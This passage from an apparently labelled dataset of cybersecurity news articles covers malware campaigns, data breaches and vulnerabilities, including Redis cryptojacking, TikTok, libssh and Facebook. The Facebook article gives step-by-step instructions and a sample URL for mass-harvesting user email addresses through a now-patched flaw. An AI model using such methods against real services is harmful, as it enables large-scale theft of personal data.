Redis, or REmote DIctionary Server, is an open source, widely popular data structure tool that can be used as an in-memory distributed database, message broker or cache. Since it is designed to be accessed inside trusted environments, it should not be exposed on the Internet.

Dubbed RedisWannaMine, a similar malware leveraging same loophole was discovered in late March by data center security vendor Imperva and designed to drop a cryptocurrency mining script on the targeted servers—both database and application.

According to Imperva's March blog post, this cryptojacking threat was ""more complex in terms of evasion techniques and capabilities. It demonstrates a worm-like behavior combined with advanced exploits to increase the attackers' infection rate and fatten their wallets.""

A newly published report from the same security firm has now revealed that three-quarters of the open Redis servers accessible from the Internet (over port 6379) contain malicious sets of a key-value pair in the memory, indicating despite multiple warnings administrators continue to leave their servers vulnerable to hackers.

Out of total compromised servers, 68 percent systems were found infected using similar keys, named ""backup1, backup2, backup3,"" which were attacked from a medium-sized botnet located at China (86% of IPs), according to the data Imperva collected from their self-set-up publicly available Redis servers to serve as a honeypot.

Moreover, the attackers have now found using the compromised servers as a proxy to scan and find vulnerabilities, including SQL injection, cross-site scripting, malicious file uploads, and remote code executions, in other websites.

The new attack works by setting a malicious key-value pair in the memory and saving it as a file in the /etc/crontabs folder that forces the server to execute the file.
""Attackers usually set values that include commands to download external remote resource and run it. Another popular type of command is adding SSH keys, so the attacker can remotely access the machine and take it over,"" Nadav Avital, security research team leader at Imperva, explains in a blog post.
To protect Redis servers from falling victim to such attacks, administrators are advised never to expose their servers to the Internet, but if required, apply authentication mechanism to prevent unauthorized access.

Also, since Redis doesn't use encryption and stores data in plain text, you should never store any sensitive data on these servers.
""Security issues commonly arise when people don't read the documentation and migrate services to the cloud, without being aware of the consequences or the adequate measures that are needed to do so,"" Avital said.

",Malware
70% of South Korean Population Victimized In Online Gaming Heist,https://thehackernews.com/2014/08/70-of-south-korean-population_27.html,"More than half of South Korea's 50 million population aged between 15 and 65 have been affected in a massive data breach, compromising their personal information.

The data breach came to light when 16 individual were arrested following the theft of about 220 million stolen records from a number of online game, ringtone storefronts and movie ticket sites that contains personally identifiable information related to 27 million victims.

The stolen records included actual name, account name, password and resident registration number of the victims, According to the English version of a Seoul-based daily newspaper, the Korea Joongang Daily.

Among 16 perpetrators, the South Jeolla Provincial Police Agency arrested a 24-year-old man named 'Kim' , for allegedly obtaining and selling all 220 million personal information including names, registration numbers, account names, and passwords, from a Chinese hacker he met through an online game in 2011.

Police estimated the breach caused in secondary damages alone is nearly $2 million. Also, Kim hacked into a total of 6 online video games in South Korea using the stolen information, from which he allegedly stole almost $400,000. Kim reportedly gave $130,000 cut of the money to the Chinese hacker whom he initially acquired the information from.

The stolen information was sold for prices ranging from US$0.001 to US$20 per item depending on whether the buyer is a thief or illegal gaming advertiser, the police said. Authorities claim Kim went on to sell the personal information to mortgage fraudsters and ""illegal gambling advertisers"" for for 10 to 300 won, or a fraction of a U.S. dollar. Those swindlers and advertisers duped hundreds of South Koreans between September 2012 and November 2013.

Online gaming is wildly popular in South Korea, so the stolen information is of much use for the buyers. They used those credentials to steal in-game currency and other game-related items from online gaming accounts and sold off to other players at a much higher rates.

It is estimated that the hackers have used a hack tool dubbed ""extractor"" that would log into user accounts and steal the information. Although, the authorities are investigating how the stolen information has been circulating and is in the middle of pursuing seven other suspects, including the Chinese hacker.

The breach was really bad, but it isn't the first time that Internet users in South Korea are suffering from a massive data breach. The more damaging data breach occurred in 2011, in which 35 million people of the country were exposed after hackers broke into the database South Cyworld, a South Korean social media site and the search engine Nate portal.

Earlier this year, 20 million South Koreans were impacted by a data breach caused by an employee of the Korea Credit Bureau, who copied their PII onto an external drive over a period of 18 months.

",Data_Breaches
Latest Security Flaw in Skype Enables IP address & Location Tracking,https://thehackernews.com/2011/10/latest-security-flaw-in-skype-enables.html,"Latest Security Flaw in Skype Enables IP address & Location Tracking


The serious breach in the widely-used, internet video chat program means that any evil computer nerd could easily hunt down users' whereabouts, according to a study co-authored by an NYU-Poly professor.

The flaw in Skype could allow a skilled hacker to find out the IP address from which a user has logged in to Skype, thereby determining the location of Skype users, which is a massive breach of privacy and security. The company is trying to downplay the flaw, claiming that the ability to derive IP addresses was common with all web based communication clients.

The flaw can reportedly be exploited without the user's knowledge, and can be executed on a massive scale. The reserch team demonstrated this by scheduling hourly calls to tens of thousands of Skype users.

Adrian Asher, Skype's chief information security officer, said that IP addresses are easily uncovered in most web communications clients.""Just as with typical Internet communications software, Skype users who are connected may be able to determine each other's IP addresses. Through research and development, we will continue to make advances in this area and improvements to our software,"" he told.

",Vulnerability
TikTok Bug Could Have Exposed Users' Profile Data and Phone Numbers,https://thehackernews.com/2021/01/tiktok-bug-could-have-exposed-users.html,"Cybersecurity researchers on Tuesday disclosed a now-patched security flaw in TikTok that could have potentially enabled an attacker to build a database of the app's users and their associated phone numbers for future malicious activity.
Although this flaw only impacts those users who have linked a phone number with their account or logged in with a phone number, a successful exploitation of the vulnerability could have resulted in data leakage and privacy violation, Check Point Research said in an analysis shared with The Hacker News.
TikTok has deployed a fix to address the shortcoming following responsible disclosure from Check Point researchers.
The newly discovered bug resides in TikTok's ""Find friends"" feature that allows users to sync their contacts with the service to identify potential people to follow.
The contacts are uploaded to TikTok via an HTTP request in the form of a list that consists of hashed contact names and the corresponding phone numbers.
The app, in the next step, sends out a second HTTP request that retrieves the TikTok profiles connected to the phone numbers sent in the previous request. This response includes profile names, phone numbers, photos, and other profile related information.
While the upload and sync contact requests are limited to 500 contacts per day, per user, and per device, Check Point researchers found a way to get around the limitation by getting hold of the device identifier, session cookies set by the server, a unique token called ""X-Tt-Token"" that's set when logging into the account with SMS and simulate the whole process from an emulator running Android 6.0.1.
It's worth noting that in order to request data from the TikTok application server, the HTTP requests must include X-Gorgon and X-Khronos headers for server verification, which ensures that the messages are not tampered with.
But by modifying the HTTP requests — the number of contacts the attacker wants to sync — and re-signing them with an updated message signature, the flaw made it possible to automate the procedure of uploading and syncing contacts on a large scale and create a database of linked accounts and their connected phone numbers.
This is far from the first time the popular video-sharing app has been found to contain security weaknesses.
In January 2020, Check Point researchers discovered multiple vulnerabilities within the TikTok app that could have been exploited to get hold of user accounts and manipulate their content, including deleting videos, uploading unauthorized videos, making private ""hidden"" videos public, and revealing personal information saved on the account.
Then in April, security researchers Talal Haj Bakry and Tommy Mysk exposed flaws in TikTok that made it possible for attackers to display forged videos, including those from verified accounts, by redirecting the app to a fake server hosting a collection of fake videos.
Eventually, TikTok launched a bug bounty partnership with HackerOne last October to help users or security professionals flag technical concerns with the platform. Critical vulnerabilities (CVSS score 9 - 10) are eligible for payouts between $6,900 to $14,800, according to the program.
""Our primary motivation, this time around, was to explore the privacy of TikTok,"" said Oded Vanunu, head of products vulnerabilities research at Check Point. ""We were curious if the TikTok platform could be used to gain private user data. It turns out that the answer was yes, as we were able to bypass multiple protection mechanisms of TikTok that lead to privacy violation.""
""An attacker with that degree of sensitive information could perform a range of malicious activities, such as spear phishing or other criminal actions.""

",Vulnerability
Android.Bmaster Exploits root access to connect to Botnet,https://thehackernews.com/2012/02/androidbmaster-exploits-root-access-to.html,"Android.Bmaster Exploits root access to connect to Botnet

A new piece of Android malware named Android.Bmaster, first highlighted by researcher Xuxian Jiang at North Carolina State University, was uncovered on a third-party marketplace and is bundled with a legitimate application for configuring phone settings, Symantec researcher Cathal Mullaney wrote in a blog.

This Malware is estimated to affect between 10,000 and 30,000 phones on any given day. The malware, mostly found on Chinese phones, works by using GingerBreak, a tool that gives users root access to Android 2.3 Gingerbread. RootSmart is designed to escape detection by being named ""com.google.android.smart,"" which the same name as a settings app included by default with Android operating systems.

Mullaney explained that once the malware is installed on the Android phone, an outbound connection from the infected phone to a remote server is generated.""The malware posts some user and phone-specific data to the remote address and attempts to download and run an APK file from the server. The downloaded file is the second stage in the malware and is a Remote Administration Tool (RAT) for Android, detected as Android.Bmaster. This type of malware is used to remotely control a device by issuing commands from a remote server"".

To counter the rising tide of threats, Google last week announced it had launched an app prescreening tool called Bouncer that runs a server-based simulation to check apps for malicious behavior such as attempts to access or send personal data, or simply send out pricey text messages. Google blocks them before they get into the official Android Market.Bouncer has been used quietly for several months; in the second half of 2011, the Android market saw a 40 percent decrease in malware apps identified as potentially malicious, compared to the first half of the year.

Google spokesperson Nancarrow points out that Rootsmart wasn't found in the official Android Market and so falls outside the zone of protection that Google is trying to enforce with its new malware scanner. And the fact that Gingerbreak was already patched, he adds, points to Android's ""defense in depth approach, not a reliance on any specific user protection measure.""

Get one Best Security Product for your Android from above list, If you really love your Phone, Read Here.

",Vulnerability
Vulnerability in Facebook discloses Primary Email Address of any account,https://thehackernews.com/2013/07/vulnerability-in-facebook-discloses.html,"When you sign up on Facebook, you have to enter an email address and that email address becomes your primary email address on Facebook.

In a recent disclosure by a Security researcher, Stephen Sclafani - The Social Networking site Facebook was vulnerable to disclosure of primary email address of any Facebook user to hackers and spammers.
The flaw resides in the invitation mechanism of Facebook, using which one can invite his all contacts emails to Facebook for making new account.

As shown in following screenshot, an invitation received on an email, where one need to click the Signup URL:

After clicking that URL, invited user will be redirected to a signup page filled in with the email address and the name of a person who used the link to sign up for an account was displayed:
There are two parameters in this URL, i.e ""re"" and ""mid"". According to Stephen changing some part of ""mid"" parameter can expose the email address of another user.

https://www.facebook.com/r.php?re=245bf2da75118af20d917bdd34babddb&mid=59b63aG5af3107aba69G0G46

59b63a G 5af3107aba69 G 0 G 46

He explained that, in above string, ""G"" acting as a delimiter/separator, where 2nd value after first ""G"" i.e 5af3107aba69 is the Profile ID of user. Replacing user ID can give expose email ID of any user in Sign Up Page. Attacker can obtain this numerical ID of facebook profile from Graph API.

Using this flaw attacker can extract email address of all facebook profiles for spamming or hacking purpose. Attacker need to just write an automated script/code to grab all email address of billions of facebook users.

Using following steps hacker can write a automated code to grab all emails:
1.) Grab profile links of all facebook users from Facebook People Directory i.e https://www.facebook.com/directory/people/
2.) Collect Numerical Facebook ID for each Profile from facebook Graph API i.e https://graph.facebook.com/mohitkumar.thehackernews, where extracted user ID is 1251386282.
3.) In Next step, using curl or other methods open the modified URL for each profile ie https://www.facebook.com/r.php?re=245bf2da75118af20d917bdd34babddb&mid=59b63aG1251386282G0G46
4.) Filter the email address exposed in the Source code obtained from above step for each profile and store in database.

This way, above vulnerability was able to put every facebook user at Risk, but Stephen's responsible disclosure to Facebook Security team save us. He is rewarded with $3,500 for helping them to patch this flaw.

",Vulnerability
Warning: Millions Of P0rnHub Users Hit With Malvertising Attack,https://thehackernews.com/2017/10/online-malvertising-attack.html,"Researchers from cybersecurity firm Proofpoint have recently discovered a large-scale malvertising campaign that exposed millions of Internet users in the United States, Canada, the UK, and Australia to malware infections.

Active for more than a year and still ongoing, the malware campaign is being conducted by a hacking group called KovCoreG, which is well known for distributing Kovter ad fraud malware that was used in 2015 malicious ad campaigns, and most recently earlier in 2017.

The KovCoreG hacking group initially took advantage of P0rnHub—one of the world's most visited adult websites—to distribute fake browser updates that worked on all three major Windows web browsers, including Chrome, Firefox, and Microsoft Edge/Internet Explorer.

According to the Proofpoint researchers, the infections in this campaign first appeared on P0rnHub web pages via a legitimate advertising network called Traffic Junky, which tricked users into installing the Kovtar malware onto their systems.

Among other malicious things, the Kovter malware is known for its unique persistence mechanism, allowing the malware to load itself after every reboot of the infected host.

The Traffic Junky advertising network redirected users to a malicious website, where Chrome and Firefox users were shown a fake browser update window, while Internet Explorer and Edge users got a fake Flash update.
""The [infection] chain begins with a malicious redirect hosted on avertizingms[.]com, which inserts a call hosted behind KeyCDN, a major content delivery network,"" Proofpoint writes.

The attackers used a number of filters and fingerprinting of ""the timezone, screen dimension, language (user/browser) history length of the current browser windows, and unique id creation via Mumour,"" in an effort to target users and evade analysis.

Researchers said Chrome users were infected with a JavaScript which beaconed back to the server controlled by the attackers, preventing security analysts working through the infection chain if their IP had not ""checked in.""

""This makes it extremely unlikely that the JavaScript can be run alone and provide the payload in a sandbox environment,"" Proofpoint writes. ""This is most likely why this component of the chain has not been documented previously.""

In this case, the attackers limited their campaign to click fraud to generate illicit revenue, but Proofpoint researchers believed the malware could easily be modified to spread ransomware, information stealing Trojans or any other malware.

Both P0rnHub and Traffic Junky, according to the researchers, ""acted swiftly to remediate this threat upon notification.""

Although this particular infection chain was successfully shut down after the site operator and ad network got notified, the malware campaign is still ongoing elsewhere.

",Malware
Mobile Security and Lack thereof,https://thehackernews.com/2011/11/mobile-security-and-lack-thereof.html,"Mobile Security and Lack thereof

Nidhi Rastogi ,A Security Consultant with Logic Technology Inc, New York share her Views about the Mobile Security and Lack thereof . The Article is taken from our September Month Magazine Edition .Here we go..

Mobile technology, particularly smartphones, has come of age and is increasingly replacing PCs for internet surfing, emails, gaming and social networking. As per a recent survey by Neilson Media Research, smartphones now comprise over 38% of the U.S. Cellphone Market and will become the majority by end of the year. To meet this growing demand, cellphone companies are fast churning out new models with killer features, latest and greatest in technology.

With this growth it has also come to attention that security of these devices cannot be left behind. Every day a new data breach is making headlines suggesting hackers have gone into overdrive. However, what is of particular interest is that a bulk of them is being attributed to cellphones. Hacking alone accounted for $3.2 billion in losses for the telecom industry, says CFCA.

The culprits are many. Several companies like Apple and Google own online application store that allow 3rd party developers to upload programs that can be made available for download by the users. Many users are deceived into downloading applications that appear to be legitimate. The terms are conditions are loosely defined which makes them easy to accept. Once on the device, the ""app"" can do a variety of damage, and at times without alarming the user. The App Genome Project by the company Lookout showed that in a study of 100,000 apps for iPhones and Android devices, a substantial proportion contained code which could pose a security risk.

In another recent finding, security researchers at Trend Micro discovered a malware on Android devices that disguised itself as a Google+ app. The app was capable of performing malicious activities like recording phone calls and gathering GPS location, and more. This user data was then uploaded on a remote server. The application called itself Google++, which apparently was overlooked by several customers. It's worth mentioning here that a big factor in the working of a malware is the casual behavior of the user, who fails to pay enough attention when installing a program on their device.

In another report, SMS Android Trojan was hidden inside a movie player app and, once installed, would send out premium text messages. Many such malwares and viruses combined have affected up to 250,000 android devices to date.

The rationale behind making smartphone the target by hackers is very simple. A smart phone today not only stores contacts but also other sensitive information like emails, pictures, and more. And in the case of some devices, a history of user visited locations with timelines. The faster and improved cellular networks and Wi-Fi capability have made handheld computing very convenient, making it a widely accepted product. Hence, it has attracted the attention of hackers with malicious intent.

This increased visibility has, however, put pressure on software companies as well as hardware manufacturers to provide security features and configuration options. Facebook now offers its users secure logging via SSL on their wireless devices by activating an account setting. Twitter followed suit by enabling ""always-on SSL"" and thereby keeping user data secure even when connected through a public Wi-Fi.

The users too need to be vigilant of their devices. In case of a lost device, remote erasure of data or locking of the device is recommended. An alternative is to trigger the remote kill switch which will render the phone dead. If the device contains sensitive information, it is recommended to store digital assets in encrypted folders. Other simple tricks include keeping the Bluetooth off and in non-promiscuous mode at all times, unless when in-use. Contacts, photos and videos should be periodically backed-up in a safe location, preferably encrypted. Several anti-virus software compatible with various OS platforms are available for download from online application markets to help make sure that mobile devices are as secure as possible.

Some Real world Mobile Security Issues in Recent News:
Cross Application Scripting vulnerability in Android browser
Fake 'Walk and Text' App steals Android user data
iPhone can be used as spy phone to get desktop Keystrokes
iPhone Skype XSS Vulnerability Lets Hackers Steal Phonebook [Video]
Android phones vulnerable to hackers
HTC Android Vulnerability - Exposes Phone numbers, Gps, SMS, Emails etc
Android malware - Works on remote commands form encrypted blog
QR codes - Next way for Android Malware
More Android vulnerabilities exposed [Video Demonstration]
SpyEye Trojan stole $3.2 million from US victims,Android users will be next target !

",Malware
Bredo Banking Malware Campaign Targets Bank of America Customers,https://thehackernews.com/2014/02/bredo-banking-malware-campaign-targets.html,"The Major US Financial institution, Bank of America is being targeted by a stealthy malicious financial malware campaign, according to AppRiver report.

Last month the researchers at AppRiver has noticed enormous volumes of traffic through their data centers, with the peaks of traffic reaching three or four times than their normal network traffic.

They caught and blocked a malware campaign that was using the new and novel tactics designed specifically to beat the filtering engines.

Last Wednesday the company experienced huge spam traffic i.e. 10 to 12 times the normal amount of their normal routine traffic. ""These spikes have been driven by a tremendous increase in the number of incoming messages being sent with viruses attached."" and some user experienced delays in sending and receiving mail.
They found the malware campaign, distributing a Financial Trojan designed to target, the Bank of America customers, known as 'Bredo virus', capable of stealing information such as Credit Card Numbers, Banking credentials, user's keystrokes.

AppRiver said that 'The software may also have abilities to further infect a system by downloading more malware on to the machine' and added that, 'running through a variety of virus scanners showed that only 11 of 51 antivirus vendors were classifying it as malware.'
The Bredo botnet was first detected in May 2009 and is capable of propagating through malicious e-mails that includes malware attachments which would infect a computer when opened, effectively turning the computer into another zombie controlled by the botnet.

In October 2010, the Dutch law enforcement agents seized 143 LeaseWeb servers used as command & the control center of botnet, but were not able to successfully vanish it completely.

",Malware
LibSSH Flaw Allows Hackers to Take Over Servers Without Password,https://thehackernews.com/2018/10/libssh-ssh-protocol-library.html,"A four-year-old severe vulnerability has been discovered in the Secure Shell (SSH) implementation library known as Libssh that could allow anyone to completely bypass authentication and gain unfettered administrative control over a vulnerable server without requiring a password.

The security vulnerability, tracked as CVE-2018-10933, is an authentication-bypass issue that was introduced in Libssh version 0.6 released earlier 2014, leaving thousands of enterprise servers open to hackers for the last four years.

But before you get frightened, you should know that neither the widely used OpenSSH nor Github's implementation of libssh was affected by the vulnerability.

The vulnerability resides due to a coding error in Libssh and is ""ridiculously simple"" to exploit.

According to a security advisory published Tuesday, all an attacker needs to do is sending an ""SSH2_MSG_USERAUTH_SUCCESS"" message to a server with an SSH connection enabled when it expects an ""SSH2_MSG_USERAUTH_REQUEST"" message.

Due to a logical flaw in libssh, the library fails to validate if the incoming ""successful login"" packet was sent by the server or the client, and also fails to check if the authentication process has been completed or not.

Therefore, if a remote attacker (client) sends this ""SSH2_MSG_USERAUTH_SUCCESS"" response to libssh, it considers that the authentication has been successful and will grant the attacker access to the server, without needing to enter a password.

Although GitHub uses libssh, it confirms that its official website and GitHub Enterprise are not affected by the vulnerability due to how GitHub uses the library.
""We use a custom version of libssh; SSH2_MSG_USERAUTH_SUCCESS with the libssh server is not relied upon for pubkey-based auth, which is what we use the library for,"" a GitHub security official said on Twitter.
""Patches have been applied out of an abundance of caution, but GHE [GitHub Enterprise] was never vulnerable to CVE-2018-10933.""
Shodan search shows that around 6,500 internet-facing servers may be impacted due to the use of Libssh one or the other way.

The security bug was discovered by Peter Winter-Smith from NCC Group, who responsibly disclosed the issue to Libssh.

The Libssh team addressed the issue with the release of its updated libssh versions 0.8.4 and 0.7.6 on Tuesday, and the details of the vulnerability were also released at the same time.

If you have Libssh installed on your website, and mainly if you are using the server component, you are highly recommended to install the updated versions of Libssh as soon as possible.
",Vulnerability
Android Malware uses Google Cloud Messaging Service; infected over 5 Million Devices,https://thehackernews.com/2013/08/Android-Malware-Google-Cloud-Messaging-mohit-Kaspersky.html,"The Kaspersky Lab researchers recently have discovered a number of Android malware apps are abusing the Google Cloud Messaging Service (GCM) as Command and Control server. The GCM service allows Android app developers to send messages using JSON Format for installed apps, but hackers exploited it for malicious Purposes.

Using Google Cloud Messaging Service (GCM) as Command and Control server for Android Malware is not a new concept, as last year Security researcher and Hacker 'Mohit Kumar' demonstrated 'Android Malware Engine' - One of the Most Sophisticated Android malware during Malcon conference.
The Kaspersky Lab researchers have detected at least five Different Android Trojans that used JSON format:
1. SMS.AndroidOS.FakeInst.a
2. SMS.AndroidOS.Agent.ao
3. SMS.AndroidOS.OpFake.a
4. Backdoor.AndroidOS.Maxit.a
5. SMS.AndroidOS.Agent.az.
The authors of the malware in Every case took advantage of Google Cloud Messaging Service to Exchange messages between C&C services and the malicious app. Once Gained a Google Cloud Messaging Service (GCM) ID, malware updates are distributed exploiting directly the Google cloud services and also any Command to the malicious agent is sent is exploiting the service and using JSON format.


Google Cloud Messaging Service (GCM) act as Command and Control server for the Trojans, which makes the malware updates as the official Updates via Google.

""Furthermore, The execution of commands received from the Google Cloud Messaging Service GCM is performed by the GCM system and it is impossible to block them Directly on an infected device. The only way to cut this channel off From virus writers is to block developer accounts with IDs linked to the Registration of malicious programs.""

SMS.AndroidOS.FakeInst.a Is the most diffused agent, according Kaspersky experts more than 4,800,000 installers have been detected and around 160000 attempted Installation was blocked in 2012.

""It Can send text messages to premium numbers, delete incoming text Messages, generate shortcuts to malicious sites, and display Notifications advertising other malicious programs that are spread under The guise of useful applications or games"" states the Kaspersky blog Post.

SMS.AndroidOS.Agent.ao is presented as a porn app and has the primary intent to send messages to premium numbers, meanwhile the SMS.AndroidOS.OpFake.a malware is the typical SMS malicious application of which have been detected also more than 1 million installers.

This last malware is also able to steal Sensitive information from the victim's handset such as contacts and it is also able to self-update its code, the agent appeared very active And was detected in 97 different countries, the majority in Russia and Eastern countries.

The Kaspersky team has blocked more than 60,000 Attempted installs, it sends several commands from both the GCM and its Own C&C servers such as:
Sending premium text messages to a specified number
Sending text messages
Performing self-updates
Stealing text messages
Deleting incoming text messages that meet the criteria set by the C&C
Theft of contacts
Replacing the C&C or GCM numbers
Stopping or restarting its operations
Backdoor.AndroidOS.Maxit trojan was very dated, first instance was detected in late 2011 and Appears to be continuously updated, today the experts counted more than 40 different variants most often in Malaysia, Thailand, the Philippines And Burma.

""All of These modifications are very similar to one another,"" ""the app opens Websites with games, while malicious operations are executed in the Background."" It has been found most often in Malaysia, but also in Thailand, the Philippines and Burma.

""The The first thing the backdoor sets out to do is collect information about The phone and the SIM card, including the phone number and the mobile Provider. All of this data is uploaded to the androidproject.imaxter.net C&C. This is the server that manages all of the Trojan's primaries Functions.""

The Last trojan, SMS.AndroidOS.Agent.az., was detected for the first time in May 2012 and is a shell app for a Vietnamese porn website which is able Also to send text messages to a premium number.

The number of malware that exploits the Google Cloud Messaging Service is Destined to increase despite it is still relatively low, the data on Their diffusion demonstrated it. These malware are prevalent in Western Europe, the CIS, and Asia, virus writers know very well that execution Off commands received from GCM is performed by the Google Cloud Messaging Service system and it is impossible to block them directly on an Infected device.

Actually The only option for security experts is to block developer accounts With IDs linked to the registration of malicious applications.

",Malware
Red Hat Linux DHCP Client Found Vulnerable to Command Injection Attacks,https://thehackernews.com/2018/05/linux-dhcp-hacking.html,"A Google security researcher has discovered a critical remote command injection vulnerability in the DHCP client implementation of Red Hat Linux and its derivatives like Fedora operating system.

The vulnerability, tracked as CVE-2018-1111, could allow attackers to execute arbitrary commands with root privileges on targeted systems.

Whenever your system joins a network, it's the DHCP client application which allows your system to automatically receive network configuration parameters, such as an IP address and DNS servers, from the DHCP (Dynamic Host Control Protocol) server.

The vulnerability resides in the NetworkManager integration script included in the DHCP client packages which is configured to obtain network configuration using the DHCP protocol.

Felix Wilhelm from the Google security team found that attackers with a malicious DHCP server, or connected to the same network as the victim, can exploit this flaw by spoofing DHCP responses, eventually allowing them to run arbitrary commands with root privileges on the victim's system running vulnerable DHCP client.

Although full details of the vulnerability have not been released, Wilhelm claims his PoC exploit code is so short in length that it even can fit in a tweet.

Meanwhile, Barkın Kılıç, a security researcher from Turkey, has released a tweetable proof-of-concept exploit code for the Red Hat Linux DHCP client vulnerability on Twitter.
In its security advisory, Red Hat has confirmed that the vulnerability impacts Red Hat Enterprise Linux 6 and 7, and that all of its customers running affection versions of the dhclient package should update their packages to the newer versions as soon as they are available.
""Users have the option to remove or disable the vulnerable script, but this will prevent certain configuration parameters provided by the DHCP server from being configured on a local system, such as addresses of the local NTP or NIS servers,"" Red Hat warns.

Fedora has also released new versions of DHCP packages containing fixes for Fedora 26, 27, and 28.

Other popular Linux distributions like OpenSUSE and Ubuntu do not appear to be impacted by the vulnerability, as their DHCP client implementation doesn't have NetworkManager integration script by default.

",Vulnerability
2 Hackers Win Over 1 Million Air Miles each for Reporting Bugs in United Airlines,https://thehackernews.com/2016/08/united-airlines-air-miles.html,"Two computer hackers have earned more than 1 Million frequent-flyer miles each from United Airlines for finding and reporting multiple security vulnerabilities in the Airline's website.

Olivier Beg, a 19-year-old security researcher from the Netherlands, has earned 1 Million air miles from United Airlines for finding around 20 security vulnerabilities in the software systems of the airline.

Last year, Chicago-based 'United Airlines' launched a bug bounty program to invite security researchers and bug hunters for finding and reporting security holes in its websites, software, apps and web portals.

Under its bounty program, United Airlines offers a top reward of 1 Million flyer miles for reporting Remote Code Execution (RCE) flaws; 250,000 miles for medium-severity vulnerabilities, and 50,000 flyer miles for low-severity bugs.

According to Netherlands Broadcasting Foundation, the 19-year-old reported 20 security issues to United Airlines and the most severe flaw earned the teenager 250,000 air miles.

Beg did not reveal the details about the flaws he discovered, but the teenager claims to have reported flaws in software from popular tech companies including Yahoo, Google, and Facebook.

Another 23-years-old security researcher from Algeria reported three security issues under the airline's bug bounty program and earned 1.7 Million flyer miles from the United Airlines.

Djaballah Mohamed Taher told The Hacker News that he reported Remote Code Execution, authorization bypass and Cross Site Scripting (XSS) flaws to the airline but did not detail the technical aspects given the program's non-disclosure agreement.

Last year, Jordan Wiens was the first security researcher to earn United Airlines' top reward of 1 Million Miles for finding a security bug that allowed him to seize control of one of the airline's websites.
Bug bounty programs are very common among technology firms, including Google, Microsoft, and Facebook, who offer security researchers hundreds of thousands of dollars as rewards for exposing security weaknesses in their products.

Although, it's good to see companies like United Airlines, Tesla, General Motors, Fiat Chrysler, welcoming vulnerability reports from researchers and rewarding them for their work.

Apple is the latest to announce the bug bounty program starting this fall to pay outside security researchers and white hat hackers for privately disclosing security issues in its products.

The company plans to offer rewards of up to $200,000, though the scope of its program has initially been kept invitation-only targeting a small range of Apple software including iOS and iCloud.

",Vulnerability
Chinese ISPs Caught Injecting Ads and Malware into Web Pages,https://thehackernews.com/2016/02/china-hacker-malware.html,"China has gained a considerable global attention when it comes to their Internet policies in the past years; whether it's introducing its own search engine dubbed ""Baidu,"" Great Firewall of China, its homebrew China Operating System (COP) and many more.

Along with the developments, China has long been criticized for suspected backdoors in its products: Xiaomi and Star N9500 smartphones are top examples.

Now, Chinese Internet Service Providers (ISPs) have been caught red-handed for injecting Advertisements as well as Malware through their network traffic.

Three Israeli researchers uncovered that the major Chinese-based ISPs named China Telecom and China Unicom, two of Asia's largest network operators, have been engaged in an illegal practice of content injection in network traffic.

Chinese ISPs had set up many proxy servers to pollute the client's network traffic not only with insignificant advertisements but also malware links, in some cases, inside the websites they visit.

If an Internet user tries to access a domain that resides under these Chinese ISPs, the forged packet redirects the user's browser to parse the rogue network routes. As a result, the client's legitimate traffic will be redirected to malicious sites/ads, benefiting the ISPs.

Here's How Malware and Ads are Injected

In the research paper titled 'Website-Targeted False Content Injection by Network Operators,' the Israeli researchers wrote that the tactic has now expanded to core ISPs – the Internet companies that interconnect edge ISPs with the rest of the ISPs globally.

These ISPs have set up specialized servers that monitor network traffic for specific URLs and move to alter it, no matter the end users are their customers or not.

Methods of Injection:

Various methods had been adopted by ISPs to infiltrate the legitimate traffic. Some of them are:

1- Out of Band TCP Injection

Unlike in the past when ISPs modified network packages to inject ads, the network operators send the forged packets without dropping the legitimate ones.

Interestingly, instead of interception or rewriting of network packets, cloning of HTTP response packets had been adopted by ISPs to replicate the infection. The ISP clones the legitimate traffic, modifies the clone, and then sends both packets to the desired destination.

So ultimately, there are 2 packet responses generated for a single request. Hence, there is a chance of forged packet to win the race, while legit packet reaches at last.

Since the cloned traffic will not always arrive at the end users before the legitimate one, the injected traffic is harder to detect.

But a serious analysis with netsniff-ng would knock out the fake packets.

2) HTTP Injection

HTTP is a stateless client-server protocol that uses TCP as its transport. As TCP only accepts the initial packet upon its receival and discards the second, there is a chance to receive the fake packet in first place; if infection had been taken place.

Here, the user might get a response with HTTP Status Number 302 (Redirection) instead of HTTP Status Number 200 (OK) and would be re-routed to the other non-legit links.

How to Identify Rogue Packets?

1) IP Identification

IP identification value does contains a counter that is sequentially incremented after each sent the packet.

The forged packet returns soon after making a request that masquerades as a legit packet. But the time stamp in each packet would provide enough evidence to eliminate the rogue packet.

The forged packet is the one that has the largest absolute difference between its identification value and the average of the identification values of all the other packets

2) TTL (Total Time to Live)

Each received packet contains an initial value set by sender that calculates the number of hops covered by the packet during the transmission.

If packet is received with different number of hop counts, then it would clearly draws a line between the legit and illegit ones.

The forged packet is the one that has the largest absolute difference between its TTL value and the average of TTL values of all the other packets

3) Timing Analysis

Time stamp in the packet captured by the monitoring systems at the entrance to the Edge network would figure out the genuinity.

The data packet with apparent time close proximity would differentiate the legitimate packets from the forged packets with unmatched arrival time.

List of the Infection Groups

In general, 14 different ISPs had been discovered with malicious background, and out of these 10 are from China, 2 from malaysia, and 1 each from India and United States.

Following are the injection groups and their characteristics:

1. Hao – Referred the user to hao123.com itself, but using an HTTP 302 response mechanism to infect users.

2. GPWA – The genuine website of Gambling had been forged to another web domain which intelligently redirects the traffic to 'qpwa' (sometimes, public would not find the difference between 'q' and 'g').

The forged content here includes a JavaScript that refers to a resource having the same name as the one originally requested by the user, but the forged resource is located at qpwa.org registered to a Romanian citizen.

3. Duba Group – The injections in this group add to the original content of a website a colorful button that prompts the victim to download an executable from a link at the domain duba.net.

The executable is flagged as malicious by several antivirus vendors.

4. Mi-img – In these injected sessions, the client, which appears to be an Android device, tries to download an application. The redirected response navigates into an online bot database that had been identified by a BotScout lookup.

5. Server Erased – In this group, the injections were identical to the legitimate response but the original value of the HTTP header 'Server' is changed.

Motive Behind the Attack

Both the advertising agencies and the ISPs are benefited by redirecting user's traffic to the corresponding sites.

This practice would mark an increase in advertisement revenue and other profits to advertisers and ISPs.

During their research, the researchers logged massive amounts of Web traffic and detected around 400 injection incidents based on this technique.

Most of these events happened with ISPs in China and far east countries, even if the traffic originated from Western countries, meaning a German user accessing a website hosted in China is also susceptible to having his/her traffic injected with ads or malware.

How to Mitigate?

Since the companies that engage in such practices are edge ISPs - the final network providers that connect users to the Internet, users can change their Internet provider.

However, the simplest way to combat this issue is for website operators to support HTTPS for their services, as all the websites that infect users are SSL-less.

The sites that supply malicious URLs are not guarded by SSL Shield, making them vulnerable to carry out the illegit things.

